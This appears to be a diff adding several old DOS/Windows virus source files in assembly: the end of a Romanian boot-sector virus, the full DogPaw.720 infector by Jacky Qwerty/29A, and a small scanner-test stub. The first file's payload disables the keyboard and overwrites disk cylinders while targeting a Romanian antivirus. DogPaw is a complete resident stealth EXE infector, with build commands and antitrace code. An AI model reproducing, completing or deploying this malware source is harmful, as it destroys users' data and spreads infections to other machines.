mov ds:[bx+0806h-07b4h],ax
|
||||
mov ax,cs:[int13seg]
|
||||
mov ds:[bx+2],ax
|
||||
mov ds:[bx+2+0806h-07b4h],ax
|
||||
|
||||
mov ah,62h ;Get Active PSP segment
|
||||
int 21h
|
||||
mov ds,bx
|
||||
mov ax,ds:[002ch] ;Get environment segment
|
||||
mov es,ax
|
||||
xor di,di
|
||||
cld
|
||||
mov cx,0050h
|
||||
mov al,'o'
|
||||
repnz scasb
|
||||
cmp es:[di],'to' ; winbootdir?
|
||||
jnz jmpint2f
|
||||
|
||||
add di,+06
|
||||
push es
|
||||
pop ds
|
||||
mov dl,ds:[di]
|
||||
sub dl,'C'-2
|
||||
mov ah,0eh
|
||||
int 21h
|
||||
|
||||
push di
|
||||
pop dx
|
||||
mov ah,3bh ;Change Directory to folder of WIN95
|
||||
int 21h ;
|
||||
; apelul windows de genul:
|
||||
; win setup.exe nu se va realiza cum trebuie
|
||||
;
|
||||
;I guess if someone'll run something like
|
||||
;win setup.exe worse things'll happen
|
||||
;doesn't matter anyway (few of them will
|
||||
;run win in this way)
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,41h ; Unlink ds:dx
|
||||
mov dx,offset floppydriver
|
||||
int 21h ;ideal ar fi sa nu dea eroare AX=1606h
|
||||
;here I suppose AX will differ from 1606h
|
||||
;more than that...I'm sure AX <> 1606h
|
||||
cont2f:
|
||||
cmp ax,1606h ;is it Exit Windows?
|
||||
jne jmpint2f
|
||||
mov ax,offset int13 ;corrupt again handler of INT 13H
|
||||
mov ds:[bx],ax
|
||||
mov ds:[bx+0806h-07b4h],ax
|
||||
mov ds:[bx+2],cs
|
||||
mov ds:[bx+2+0806h-07b4h],cs
|
||||
|
||||
cmp byte ptr ds:[04a6h],0DAH ;is flag set ?
|
||||
jz entry
|
||||
|
||||
jmpint2f:
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
popf
|
||||
db 0eah; jmp xxxx:xxxx
|
||||
int2fofs dw 0
|
||||
int2fseg dw 0
|
||||
;----------------------------------
|
||||
entry:
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset txt-1
|
||||
video:
|
||||
mov ax,0010h
|
||||
int 10h
|
||||
mov ah,0eh
|
||||
mov bl,0ah
|
||||
repeta:
|
||||
std
|
||||
lodsb
|
||||
cmp al,'$'
|
||||
jz distroi
|
||||
int 10h
|
||||
jmp short repeta
|
||||
distroi:
|
||||
mov cx,0001h
|
||||
destroyagain:
|
||||
mov ax,030eh
|
||||
mov dx,0180h
|
||||
call callint13
|
||||
call resetcmosflag
|
||||
in al,21h ;disable keyboard
|
||||
or al,02
|
||||
out 21h,al
|
||||
|
||||
inc ch
|
||||
jnz destroyagain ;
|
||||
add cl,40h ;for all existing cylinders > 256
|
||||
jmp short destroyagain
|
||||
|
||||
|
||||
;..........................INT 21H
|
||||
int21:
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
mov di,dx
|
||||
xor ah,4bh
|
||||
jnz oldint21
|
||||
push ds
|
||||
pop es
|
||||
xor al,al
|
||||
cld
|
||||
mov cl,0ffh
|
||||
repnz scasb
|
||||
std
|
||||
mov al,'\'
|
||||
repnz scasb
|
||||
mov ax,ds:[di+02]
|
||||
and ax,0dfdfh
|
||||
cmp ax,'AR'
|
||||
jnz oldint21
|
||||
mov ah,ds:[di+04]
|
||||
and ah,0dfh
|
||||
cmp ah,'V'
|
||||
jnz oldint21
|
||||
mov al,01
|
||||
out 70h,al
|
||||
in al,71h
|
||||
cmp al,126 ;max value for counter
|
||||
jne ravnormal
|
||||
|
||||
mov ax,1600h ;checking Win active
|
||||
int 2fh
|
||||
or al,al
|
||||
jz entry ;al=0 means Win not active
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov byte ptr ds:[04a6h],0DAh ;set flag on low memory
|
||||
jmp short oldint21
|
||||
|
||||
|
||||
|
||||
;------------------------
|
||||
ravnormal:
|
||||
inc ax
|
||||
push ax
|
||||
mov al,01
|
||||
out 70h,al
|
||||
pop ax
|
||||
out 71h,al
|
||||
oldint21:
|
||||
pop es
|
||||
pop ds
|
||||
popa
|
||||
popf
|
||||
db 0eah; JMP xxxx:xxxx
|
||||
int21ofs dw 0
|
||||
int21seg dw 0
|
||||
;............... INT 08H .......................................
|
||||
int08:
|
||||
pushf
|
||||
pusha
|
||||
temp equ this word
|
||||
push es
|
||||
push ds
|
||||
xor di,di ;DI=0000h
|
||||
mov ds,di ;DS=0000h
|
||||
mov ax,0b8ah
|
||||
mov es,ax
|
||||
cld
|
||||
mov ax,'EP'
|
||||
mov cx,0ffffh ;"cautare" means "searching"
|
||||
;for those of you who don't speak
|
||||
; Romanian language ;-)
|
||||
cautare:
|
||||
repnz scasw
|
||||
or cx,cx
|
||||
jz notyet
|
||||
cmp es:[di],'=C'
|
||||
jnz cautare
|
||||
|
||||
push cs
|
||||
pop ax ; ax =residseg
|
||||
mov di,02fh*4 ;Save segment INT 2Fh
|
||||
xchg [di+02],ax ;Corrupt segment 2FH
|
||||
mov cs:[int2fseg],ax
|
||||
|
||||
mov ax,offset int2f ;Save & corrupt offset INT 2FH
|
||||
xchg [di],ax
|
||||
mov cs:[int2fofs],ax
|
||||
|
||||
push cs
|
||||
pop ax
|
||||
mov di,021h*4 ;Save segment INT 21h
|
||||
xchg [di+02],ax ;Corrupt segment 21H
|
||||
mov cs:[int21seg],ax
|
||||
|
||||
mov ax,offset int21 ;Save & corrupt offset INT 21H
|
||||
xchg [di],ax
|
||||
mov cs:[int21ofs],ax
|
||||
|
||||
|
||||
;Command.com alocat
|
||||
inc word ptr ds:[0413h] ;refac la 0:413h
|
||||
;restoring 0:413h
|
||||
mov bx,0100h
|
||||
mov word ptr ds:[bx],04a1h ;corrupt INT 40 to point 0:04a1h
|
||||
mov word ptr ds:[bx+02],0 ;to a jmp far code
|
||||
|
||||
|
||||
|
||||
mov word ptr cs:[offset temp-2],[(offset peste)-(offset temp)] shl 8+ 0ebh
|
||||
; dezactiveaza rutina de pe system timer (INT 08H)
|
||||
; disabling (handler) routine for INT 08H
|
||||
notyet:
|
||||
pop ds
|
||||
pop es
|
||||
popa
|
||||
popf
|
||||
peste equ this word
|
||||
db 0eah
|
||||
int08ofs dw 0
|
||||
int08seg dw 0
|
||||
|
||||
|
||||
floppydriver db 'system\iosubsys\hsflop.pdr',0
|
||||
|
||||
testziuaz:
|
||||
mov ah,04
|
||||
int 1ah
|
||||
cmp dl,28h
|
||||
jbe nochange
|
||||
mov dl,28h
|
||||
nochange:
|
||||
ret
|
||||
|
||||
|
||||
|
||||
callint13:
|
||||
pushf
|
||||
call cs:dword ptr[int13ofs]
|
||||
ret
|
||||
|
||||
resetcmosflag:
|
||||
mov al,01
|
||||
out 70h,al
|
||||
mov al,100 ;set counter in CMOS for RAV
|
||||
out 71h,al ; RAV stands for Romanian AntiVirus
|
||||
ret ;an AV prog from ROMANIA
|
||||
|
||||
|
||||
compute:
|
||||
mov cl,14
|
||||
cmp dl,80h
|
||||
jae back
|
||||
mov dh,1
|
||||
mov al,es:byte ptr[bx+15h]
|
||||
cmp al,240; f0h 1.44 disk
|
||||
je back
|
||||
mov cl,3
|
||||
back:
|
||||
ret
|
||||
resetkeyboard:
|
||||
cmp dl,80h
|
||||
jb nu
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
mov bl,1eh
|
||||
mov ds:[041ah],bx
|
||||
mov ds:[041ch],bx
|
||||
nu:
|
||||
ret
|
||||
; '$RAVage is wiping data! RP&muRPhy '
|
||||
text db '$yhPRum&PR !atad gnipiw si egaVAR'
|
||||
txt equ this word
|
||||
code ends
|
||||
end start
|
||||
muRPhy (c)96
|
|
@ -0,0 +1,607 @@
|
|||
;
|
||||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
;
|
||||
; This simple DOS virus exploits a certain feature graciosly implemented for
|
||||
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
|
||||
; has to do with non-DOS aplicationz run from DOS boxez opened under these
|
||||
; 32-bit systemz. It doesnt aply to Win3.1, tho.
|
||||
;
|
||||
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
|
||||
; the comon frustratin mesage "This program cannot be run in DOS mode" or
|
||||
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
|
||||
; always lookin for enhancementz finaly made it right with NT and Win95 and
|
||||
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
|
||||
; execute a non-DOS aplication from a DOS box, the system loader no longer
|
||||
; executes the DOS stub program which displays such mesage, it actually ends
|
||||
; up executin the real Win3.1 or Win32 aplication just as if u had double-
|
||||
; clicked the program on yer desktop to execute it. But what has this thing
|
||||
; got to do with us? Can this feature be used in a virus? the answer is yes.
|
||||
;
|
||||
; I wrote this virus just to ilustrate how the above feature can be cleverly
|
||||
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
|
||||
; antidebug, etc. but it implements full stealth tho, and encrypts data of
|
||||
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
|
||||
; from undernet #virus as he seems to be the first one havin exploited this.
|
||||
;
|
||||
;
|
||||
; Technical description
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
|
||||
: NT and OS/2 programz. It infects filez on close and execute and disinfects
|
||||
; them on open. I dont like this kind of stealth at all but it was more than
|
||||
; necesary in order to exploit the forementioned feature.
|
||||
;
|
||||
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
|
||||
; includin its MZ header and stores it at the end of the file, then it over-
|
||||
; writes the first 720 bytez of the host with the virus code itself, which
|
||||
; is really DOS program code. This way what the virus really does is conver-
|
||||
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
|
||||
; tainin virus code. This doesnt mean that such filez are trojanized or da-
|
||||
; maged, they are fully functional after infection, read on.
|
||||
;
|
||||
; When a DogPaw-infected file is executed, the system treats it as a genuine
|
||||
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
|
||||
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
|
||||
; This way the virus executes as a DOS 16-bit program and plants a resident
|
||||
; copy in DOS memory. After this the virus has to execute the original apli-
|
||||
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
|
||||
; sinfects the host by decryptin the original data at the end of file and
|
||||
; writes it back to the begin of file previosly overwriten with virus code.
|
||||
; Next the virus executes the original host and, becoz of the above feature,
|
||||
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
|
||||
; just as if it had been executed from outside a DOS box.
|
||||
;
|
||||
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
|
||||
; want people to write clumsy DOS programz, tho it is still suportin old DOS
|
||||
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
|
||||
; needed in order to make the migration from DOS to Win32 less painfully and
|
||||
; troublesome. But once this DOS compatibility disapears from these systemz,
|
||||
; those nonDOS programz infected by this virus wont be able to run or spread
|
||||
; further from inside these 32-bit OS's. As u can see its not wise at all to
|
||||
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
|
||||
; For this purpose we must interact directly with the 32-bit file format, ie
|
||||
; the PE format itself. There is no way to circumvent this in the future ;)
|
||||
;
|
||||
;
|
||||
; A dog paw tale
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Some weekz ago i stole my dady's car to take a short ride around the block
|
||||
; and i was so nervous that i almost crashed twice: the first time with a
|
||||
; huge big garbage truck (yea even tho i wear glasez) and the second time
|
||||
; with a little grandma crossin down the street. Shit.. that was enough for
|
||||
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
|
||||
; ded to go back home. I turned on the radio and started to sing "the side-
|
||||
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
|
||||
; had been about to crash twice. Why did i have to open my mouth! Just when
|
||||
; i was about to turn right at the next block i heard a suden "crash" follo-
|
||||
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
|
||||
; tirez. Shit what da hell was that..? i looked back thru the front mirror
|
||||
; just to know the answer. On the road i had left behind, there lied a poor
|
||||
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
|
||||
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
|
||||
; goodbye with his paw.. the poor dog paw. #8I
|
||||
;
|
||||
;
|
||||
; Greetingz
|
||||
; ÄÄÄÄÄÄÄÄÄ
|
||||
; And finaly the greetingz go to:
|
||||
;
|
||||
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
|
||||
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
|
||||
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
|
||||
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
|
||||
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
|
||||
; Liquiz ........ Still watin to see that poly of yourz.. #8)
|
||||
;
|
||||
;
|
||||
; Disclaimer
|
||||
; ÄÄÄÄÄÄÄÄÄÄ
|
||||
; This source code is for educational purposez only. The author is not res-
|
||||
; ponsible for any problemz caused due to the assembly of this file.
|
||||
;
|
||||
;
|
||||
; Compiling it
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; tasm -ml -m5 -q -zn dogpaw.asm
|
||||
; tlink -t -x dogpaw, dogpaw.exe
|
||||
;
|
||||
;
|
||||
; (c) 1997 Jacky Qwerty/29A.
|
||||
|
||||
|
||||
.model tiny
|
||||
.286
|
||||
|
||||
include useful.inc
|
||||
include MZ.inc
|
||||
|
||||
v_mark equ 'GD' ;virus mark
|
||||
v_size_bytes equ v_end - v_start ;virus size in bytez
|
||||
b_size_bytes equ v_size_bytes ;bufer size in bytez
|
||||
s_size_bytes equ 100h ;stack size in bytez
|
||||
v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
|
||||
v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
|
||||
v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
|
||||
v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
|
||||
v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
|
||||
v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
|
||||
- (512 * v_size_div_512) ;
|
||||
m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
|
||||
- v_end) + b_size_bytes \ ;
|
||||
+ s_size_bytes ;
|
||||
m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
|
||||
m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz
|
||||
|
||||
.code
|
||||
org 100h
|
||||
v_start:
|
||||
|
||||
MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start
|
||||
IMAGE_DOS_SIGNATURE, \ ;MZ_magic
|
||||
v_size_mod_512, \ ;MZ_cblp
|
||||
v_size_sects, \ ;MZ_cp
|
||||
0, \ ;MZ_crlc
|
||||
0, \ ;NZ_cparhdr
|
||||
m_size_paras, \ ;MZ_minalloc
|
||||
m_size_paras, \ ;MZ_maxalloc
|
||||
-11h, \ ;MZ_ss
|
||||
(m_size_bytes + 111h) and -2 \ ;MZ_sp
|
||||
v_mark, \ ;MZ_csum
|
||||
entry_point, \ ;MZ_ip
|
||||
-10h \ ;MZ_cs
|
||||
>
|
||||
|
||||
org (v_start + MZ_lfarlc)
|
||||
|
||||
old_MZ_low_ptr dw 0
|
||||
old_MZ_high_ptr dw 0
|
||||
|
||||
c_start:
|
||||
|
||||
Copyright db 'D' xor 66h
|
||||
db 'o' xor 66h
|
||||
db 'g' xor 66h
|
||||
db 'P' xor 66h
|
||||
db 'a' xor 66h
|
||||
db 'w' xor 66h
|
||||
db ' ' xor 66h
|
||||
db 'J' xor 66h
|
||||
db 'x' xor 66h
|
||||
db 'Q' xor 66h
|
||||
db '/' xor 66h
|
||||
db '2' xor 66h
|
||||
db '9' xor 66h
|
||||
db 'A' xor 66h
|
||||
db 0 xor 66h
|
||||
|
||||
common_clean_ds:
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ds:[flag],al
|
||||
|
||||
common_clean: test al,? ;clear carry (clean file)
|
||||
org $ - 1
|
||||
|
||||
common_infect: stc ;set carry (infect file)
|
||||
|
||||
pusha
|
||||
mov bp,offset clean + 1
|
||||
jnc common
|
||||
mov si,dx
|
||||
mov bp,offset infect + 1
|
||||
cld
|
||||
@endsz
|
||||
std
|
||||
lodsw
|
||||
lodsw
|
||||
cld
|
||||
and al,not 20h
|
||||
add al,-'E' ;check for EXE extension
|
||||
jnz to_popa_ret
|
||||
lodsw
|
||||
and ax,not 2020h
|
||||
add ax,-'XE'
|
||||
jnz to_popa_ret
|
||||
|
||||
common: ;this function cleans or infects a file
|
||||
;on exit:
|
||||
; flag = 0, if error
|
||||
|
||||
mov ax,3D00h
|
||||
call call_int_21 ;open file in read/only mode
|
||||
jc to_popa_ret
|
||||
xchg bx,ax
|
||||
push ds dx
|
||||
call ptr2begin ;move file pointer to begin of file
|
||||
jc end_close
|
||||
push cs
|
||||
pop ds
|
||||
call read ;read first 720 bytez
|
||||
jc end_close
|
||||
cmp word ptr [si.MZ_csum],v_mark ;check infection
|
||||
jnz end_close_clc
|
||||
mov ax,[si.MZ_magic]
|
||||
cmp word ptr [si.MZ_maxalloc],m_size_paras
|
||||
jnz end_close_clc
|
||||
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
|
||||
end_close_clc: clc
|
||||
end_close: pushf
|
||||
mov ah,3Eh
|
||||
call call_int_21 ;close file
|
||||
pop ax
|
||||
dec bp
|
||||
lahf
|
||||
pop dx
|
||||
or al,ah
|
||||
shl ah,4
|
||||
pop ds
|
||||
xor ah,al
|
||||
sahf
|
||||
jbe end_popa_ret ;if (carry or zero)
|
||||
|
||||
mov ax,4300h ;save old file atributes
|
||||
call call_int_21
|
||||
to_popa_ret: jc end_popa_ret
|
||||
|
||||
push ds
|
||||
mov si,4*24h-80h
|
||||
call get_int
|
||||
pop ds
|
||||
pusha ;ax, bx, si
|
||||
mov bx,cs
|
||||
mov ax,offset new_24
|
||||
call set_int
|
||||
|
||||
push cx
|
||||
mov cl,20h ;set read/write file atributes
|
||||
mov ax,4301h
|
||||
call call_int_21
|
||||
pop cx
|
||||
jc end_2popa_ret
|
||||
|
||||
mov ax,3D02h ;open file in read/write mode
|
||||
call call_int_21
|
||||
jc restore_atrib
|
||||
|
||||
pusha ;cx, dx
|
||||
xchg bx,ax
|
||||
mov ax,5700h ;get data & time
|
||||
call call_int_21
|
||||
jc close_file
|
||||
|
||||
push ds es
|
||||
pusha
|
||||
|
||||
push cs cs
|
||||
pop ds es
|
||||
mov si,offset b_start
|
||||
lea di,[si + old_MZ_low_ptr - v_start]
|
||||
call bp ;clean or infect
|
||||
jc err_file
|
||||
mov ds:[flag],al ;al!=0 (check this while debugin)
|
||||
|
||||
err_file: popa
|
||||
pop es ds
|
||||
|
||||
mov ax,5701h ;set data & time
|
||||
call call_int_21
|
||||
|
||||
close_file: mov ah,3Eh ;close file
|
||||
call call_int_21
|
||||
popa
|
||||
|
||||
restore_atrib: mov ax,4301h ;restore old atributes
|
||||
call call_int_21
|
||||
|
||||
end_2popa_ret: popa
|
||||
call set_int
|
||||
|
||||
end_popa_ret: popa
|
||||
end_ret: ret
|
||||
|
||||
infect proc ;infects a file
|
||||
|
||||
mov cx,b_size_bytes
|
||||
|
||||
cld ;encrypt old MZ header
|
||||
encrypt: lodsb
|
||||
ror al,cl
|
||||
xor al,0C5h
|
||||
mov [si-1],al
|
||||
loop encrypt
|
||||
|
||||
mov ax,4202h ;move file pointer to end of file
|
||||
cwd
|
||||
call call_int_21
|
||||
jc end_ret
|
||||
|
||||
pusha
|
||||
call write ;write old MZ header to end of file
|
||||
jc end_popa_ret
|
||||
|
||||
lodsw ;move virus code to buffer area
|
||||
xchg dx,di
|
||||
mov si,offset v_start
|
||||
mov ds:[old_MZ_Magic],ax
|
||||
cld
|
||||
move_virus: lodsb
|
||||
stosb
|
||||
loop move_virus
|
||||
popa
|
||||
|
||||
stosw ;hardcode file location in virus code
|
||||
xchg ax,dx ;
|
||||
stosw ;
|
||||
|
||||
jmp ptr2new ;move file pointer to actual MZ header
|
||||
|
||||
infect endp
|
||||
|
||||
get_int: ;gets an interrupt vector
|
||||
;on entry:
|
||||
; SI = int number * 4
|
||||
; DS = 0
|
||||
;on exit:
|
||||
; DX:AX = int vector adress retrieved
|
||||
|
||||
push 8
|
||||
pop ds
|
||||
mov bx,[si+2]
|
||||
mov ax,[si]
|
||||
ret
|
||||
|
||||
clean proc ;cleans an infected file
|
||||
|
||||
mov cx,[di + 2] ;old_MZ_high_ptr
|
||||
mov dx,[di] ;old_MZ_low_ptr
|
||||
pusha
|
||||
call ptr2old ;move file pointer to old MZ header
|
||||
jc end_popa_ret
|
||||
|
||||
call read ;read old MZ header
|
||||
jc end_popa_ret
|
||||
|
||||
cmp word ptr [si.MZ_magic],1234h ;check old MZ header
|
||||
old_MZ_Magic = word ptr $-2
|
||||
stc
|
||||
jnz end_popa_ret
|
||||
|
||||
cld ;decrypt old MZ header
|
||||
decrypt: lodsb
|
||||
xor al,0C5h
|
||||
rol al,cl
|
||||
mov [si-1],al
|
||||
loop decrypt
|
||||
|
||||
popa
|
||||
call ptr2old ;move file pointer to old MZ header
|
||||
jc ptr2new
|
||||
|
||||
sub cx,cx
|
||||
mov ah,40h ;remove old MZ header from end of file
|
||||
call call_int_21
|
||||
|
||||
ptr2new: call ptr2begin ;move file pointer to actual MZ header
|
||||
jc end_clean
|
||||
|
||||
write: mov ah,40h ;write MZ header
|
||||
cmp ax,?
|
||||
org $-2
|
||||
|
||||
read: mov ah,3Fh ;read MZ header
|
||||
mov dx,offset b_start
|
||||
mov cx,b_size_bytes
|
||||
call call_int_21
|
||||
jc end_rd_wr
|
||||
cmp ax,cx
|
||||
mov si,dx
|
||||
end_rd_wr:
|
||||
|
||||
end_clean: ret
|
||||
|
||||
clean endp
|
||||
|
||||
entry_point: mov ax,30AFh
|
||||
x = 4*21h-80h
|
||||
push x
|
||||
mov di,offset old_int_21 ;check if already installed
|
||||
int 21h
|
||||
cld
|
||||
pop si
|
||||
add al,-0AFh
|
||||
mov bp,si
|
||||
jz already ;yea we're instaled, jump
|
||||
|
||||
push ds ;hook int 21h & stay resident
|
||||
call get_int
|
||||
mov [1+bp-x+si-x],ds
|
||||
stosw
|
||||
pop ax
|
||||
xchg ax,bx
|
||||
stosw
|
||||
mov ax,offset new_int_21
|
||||
call set_int
|
||||
|
||||
already: push di
|
||||
mov ds,[2Ch+10h+bp-x] ;get program filename
|
||||
get_prog: inc si
|
||||
cmp [si],bp
|
||||
jnc get_prog
|
||||
lea si,[si+4+bp-x]
|
||||
pop dx
|
||||
@copysz
|
||||
|
||||
call common_clean_ds ;clean infected program
|
||||
|
||||
exec: cmp al,ds:[flag] ;prevent circular execution
|
||||
jz exit
|
||||
push ds
|
||||
mov bx,offset p_block ;execute program
|
||||
mov ah,0Dh
|
||||
call call_int_21
|
||||
mov [bx+4],ds
|
||||
mov [bx+8],cs
|
||||
pusha
|
||||
mov [bx+0Ch],es
|
||||
mov ax,4B00h
|
||||
call call_int_21
|
||||
popa
|
||||
mov ah,4Dh
|
||||
call call_int_21
|
||||
pop ds
|
||||
|
||||
call common_infect
|
||||
|
||||
exit: mov ah,4Ch ;exit to DOS
|
||||
jmp call_int_21
|
||||
|
||||
p_block dw 0 ;parameter block to be used by 4B00h
|
||||
dw 80h
|
||||
dw ?
|
||||
dw 5Ch
|
||||
dw ?
|
||||
dw 6Ch
|
||||
dw ?
|
||||
|
||||
new_24: mov al,3
|
||||
iret
|
||||
|
||||
ptr2begin: xor dx,dx ;move file pointer to actual MZ header
|
||||
mov cx,dx
|
||||
ptr2old: mov ax,4200h
|
||||
call_int_21: pushf ;call old INT 21h
|
||||
push cs
|
||||
call jmp_int_21
|
||||
ret
|
||||
|
||||
set_int: ;sets an interrupt vector
|
||||
;on entry:
|
||||
; SI = int number * 4
|
||||
; DS = 0
|
||||
; DX:AX = int vector adress to store
|
||||
|
||||
push ds
|
||||
push 8
|
||||
pop ds
|
||||
mov [si+2],bx
|
||||
mov [si],ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
infect_on_close: ;infect on file close
|
||||
push ds es
|
||||
pusha
|
||||
mov bp,sp
|
||||
push cs bx
|
||||
mov ax,1220h
|
||||
int 2Fh ;use file system tablez
|
||||
jc fail_dcb
|
||||
mov bl,es:[di]
|
||||
cmp bl,-1
|
||||
cmc
|
||||
jc fail_dcb
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
fail_dcb: pop bx ds
|
||||
pushf
|
||||
mov ah,3Eh
|
||||
call call_int_21 ;close file
|
||||
mov [bp.Pusha_ax],ax
|
||||
pop ax
|
||||
jc fail_close
|
||||
shr al,1
|
||||
jc fail_close_clc
|
||||
mov ax,':'*100h + mask BDA_DriveNumber
|
||||
and al,byte ptr es:[di.DCB_DeviceAtribs]
|
||||
mov dl,al
|
||||
sub al,-'A'
|
||||
mov si,offset program_name + 3
|
||||
mov [si-3],ax
|
||||
inc dx
|
||||
mov ah,47h
|
||||
call call_int_21 ;get current directory
|
||||
jc fail_close_clc
|
||||
cld
|
||||
dec si
|
||||
push es si ds
|
||||
lea si,[di.DCB_FileName]
|
||||
mov al,'\'
|
||||
pop es di
|
||||
stosb
|
||||
add al,-'\' ; al=0
|
||||
scasb
|
||||
jnz $ - 1
|
||||
sub al,-'\' ; al='\'
|
||||
dec di
|
||||
mov cx,size DCB_FileName + 1
|
||||
cmp al,[di-1]
|
||||
pop ds
|
||||
push si
|
||||
jz $+3
|
||||
copy_name: stosb ;atach file name to path
|
||||
lodsb
|
||||
cmp al,20h
|
||||
loopnz copy_name
|
||||
pop si
|
||||
mov al,'.'
|
||||
mov cl,size DCB_FileExt + 1
|
||||
sub si,- size DCB_FileName
|
||||
copy_ext: stosb ;atach file extension to file name
|
||||
lodsb
|
||||
cmp al,20h
|
||||
loopnz copy_ext
|
||||
xor al,al
|
||||
stosb
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset program_name
|
||||
call common_infect ;infect the file
|
||||
fail_close_clc: clc
|
||||
fail_close: popa
|
||||
pop es ds
|
||||
retf 2
|
||||
|
||||
on_close: jmp infect_on_close
|
||||
|
||||
self_check: cmp di,offset old_int_21
|
||||
jnz jmp_int_21
|
||||
mov si,di
|
||||
cld
|
||||
movs word ptr es:[di],cs:[si] ;copy old int 21h
|
||||
movs word ptr es:[di],cs:[si] ;
|
||||
go_iret: iret
|
||||
|
||||
new_int_21: cli ;new INT 21h service routine
|
||||
push ax ;antitrace.. dont fuck with me
|
||||
push -1
|
||||
inc sp
|
||||
dec sp
|
||||
pop ax
|
||||
inc ax
|
||||
pop ax
|
||||
sti
|
||||
jnz go_iret
|
||||
chk_3E: cmp ah,3Eh ;close?
|
||||
jz on_close
|
||||
chk_30: cmp ax,30AFh ;are we already installed?
|
||||
jz self_check
|
||||
chk_4B: cmp ah,4Bh ;execute?
|
||||
jnz chk_3D
|
||||
call common_infect
|
||||
chk_3D: cmp ah,3Dh ;open?
|
||||
jnz jmp_int_21
|
||||
call common_clean
|
||||
|
||||
jmp_int_21: db 0EAh ;JMP SEG:OFF opcode
|
||||
v_end: ;virus end on filez
|
||||
old_int_21 dd ? ;old INT 21h vector
|
||||
|
||||
program_name db 80h dup (?) ;buffer to hold program namez
|
||||
flag db ? ;used to prevent circular execution
|
||||
b_start: ;start of internal buffer
|
||||
end v_start
|
|
@ -0,0 +1,207 @@
|
|||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
;
|
||||
; Donothing.asm
|
||||
; By K”hntark
|
||||
; DATE: NOV 93
|
||||
;
|
||||
; Assemble with TASM 2.X
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME cs:main,ds:main,ss:nothing
|
||||
org 100h
|
||||
|
||||
DONUTHIN:
|
||||
VIRUS:
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; J-Flag - Suspicious Jump construct
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
jmp THERE
|
||||
THERE: jmp HERE
|
||||
HERE:
|
||||
|
||||
mov dx,Offset MSG
|
||||
mov ah,09
|
||||
int 21h ;display message
|
||||
|
||||
int 20h ;PROGRAM NEVER GETS EXECUTED BEYOND THIS POINT!!
|
||||
;This is SHMISTICS!
|
||||
|
||||
MSG db 'Please scan this file with TBSCAN!$'
|
||||
|
||||
